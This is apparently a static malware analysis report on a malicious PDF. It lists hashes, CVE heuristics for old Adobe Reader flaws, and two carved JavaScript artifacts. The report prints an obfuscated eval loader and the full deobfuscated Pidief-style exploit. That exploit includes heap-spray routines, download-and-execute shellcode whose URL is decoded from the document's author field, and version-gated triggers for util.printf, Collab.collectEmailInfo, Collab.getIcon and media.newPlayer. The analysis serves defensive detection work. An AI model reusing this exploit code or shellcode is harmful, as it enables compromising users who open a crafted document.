Malicious PDF — malware analysis report

Static analysis result for SHA-256 7e5dac2884db0486…

MALICIOUS

PDF

10.8 KB Created: 2010-05-07 08:43:08 Authoring application: Mmihebocejaroja First seen: 2026-05-11
MD5: 9efefae2e20bf7e3407052413b9c29c5 SHA-1: d18818741f02a84b3324b219bbbdefae7c200191 SHA-256: 7e5dac2884db0486025f9b6a3da7feff6b15a0cf8ce38326959486bf550a2d49
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script performs a heap spray and is designed to download and execute a second-stage payload. The obfuscated JavaScript and the use of multiple CVEs indicate a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x21D6 2618 bytes
SHA-256: 6ac4125c255b7b84f9d21c435df751ce54a28fc63bd2e05c80dd288a5bbe307a
Preview script
First 1,000 lines of the extracted script
// fd28ff74f52357a76d2acea40101af3b
var aF=String("%7TY".substr(0,1));
// 8d0db0cf97e5a1e488b15449eeaab8a3
var n=new String("from"+"Char"+"CodeNUyT".substr(0,4));
// ea25dbaf0d3c948cc59f33fb134d155d
var h=this;
// 5a290bfd75f7e4bb5839d5e0718c02a3
var t="charC"+"odeAt";
// e7240a36066073e17978ca887ae96a09
var nK=String("cha"+"rCo"+"deA"+"t");
// 9321539bee282029d7a004569d632658
var oZ=String;
// 3c381486bc905aba92c67a105491763c
var d=String("eval7zi".substr(0,4));
// 6899ab40ed64825db102c696eb9d01be;
// f2ac82719b46d54d7ff9097991ce4759
var r="le6NJh".substr(0,2)+"ngTso".substr(0,2)+"vsCthsvC".substr(3,2);
// ff2413d6eae1c7c4093efe9b644c0e0a
var f="get"+"Pag7UT".substr(0,3)+"eNuzxfn".substr(0,3)+"pCrmWoCpr".substr(3,3)+"rds";
// 7a9c8a7c1ebcce1282e33448a3161832
var rE=65;
// 1be33e0b8cb2fcd43bd851aba69136b5
var iH=3;
// 29f550c018464a83475c1823c21b4d4d
var x="geu0o".substr(0,2)+"tP"+"ag"+"jfFeNjFf".substr(3,2)+"th"+"E5gWoEg5".substr(3,2)+"rd";
// c634aa7f0370ff1238c1892546cbad79
var p=66-64;
// 33f88d15273e192864f0ec0f5da4faea
var tO=59-58;
// 7840745b1e3cec49d7db7ad5bd98f025
var cP=String("unesc"+"ape");
// cb451f9cb1d295b73a26f97af8363704
var rQ="su5biN".substr(0,2)+"bskjQ".substr(0,2)+"tr";
// 28f241c9bbed6162c7ed3e6d9f27e5cb
var gV=100-100;
// 8bf1019fd650d622345301fdd8ca1269
function xG(gX,pU){return gX[t](pU)};
// 48a8704b3c037fae744531f5848c06ec
var eH=h[cP];
// a0f057c00cb7706f451235045092a2d7
var nK=h[nK];
// e9d1197b54f76ccf4d59f56588192f89
function z(v,pU){return v[rQ](pU,p)};
// 8b2b2004c4b88080abb06ced8c9f1b82
function pA(v,uP){return v[uP]};
// b38db2f6e39751282581f45d6f1ca9dd
function tQ(kN,rM){return kN-rM};
// 3b7ae776726362c5c6170a1d4ce00111
function mZ(l){return h[x](iH,l)};
// 35070009ae522d04a88c37fd25df0be9
function dI(v){return v[r]-p};
// 1e7da0784c042d77b278fdd402003ff7
function qZ(kN,rM){return kN+rM};
// 3c315d93c64995783b4cb48025334ece;
// 350f71a77cf4985855cdec10a1db64bc
var j=h[d];
// bfd5f3b906b9f8bf50ab5eadc37568ee
function xU(iT,nM){return iT^nM;};
// 332a0f79cfb4a27c56be3c4ff369955d
var eJ=new oZ();
// ed9141084350c29ad7f1aef7a6538b1d
var nC=h[f](iH);
// 9781e638b759ed9b8d40e26b45a9eceb
function kR(l){
// f3eda36df7ebd94f6ffae92d9440bdb3
var nQ=mZ(l);
// eff1db99c6aecfb001d466eaaf18f41a
pU=dI(nQ);
// cc6a057d966e3e55cb1e94ff2fab1f66
mN=z(nQ,pU);
// 82e03bc07fa392c82cada6c7512cf6ee
vG = eH(qZ(aF,mN));return xG(vG,gV);};for(var l=gV;l<nC;l++){
// 0db8baf7da1198dcb8e66cd33deaabbd
var uB=kR(l);
// de310d2d6f82b1a7960d3bded6afbc78
var xE=xU(uB,rE);
// 1bb8108b01668767b981049d21733bf5
eJ+=pA(oZ,n)(xE);
// ee14a2687afce05bcde50f8c337c6324
}j(eJ);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3786 bytes
SHA-256: be80c24dba0c736c107fba47b55dc93de17b9c84bfa2988c4deda791c6e9bed6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
���������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

����������������QQ�NIQQ�NI

Open this report in the interactive analyzer, or submit your own file for analysis.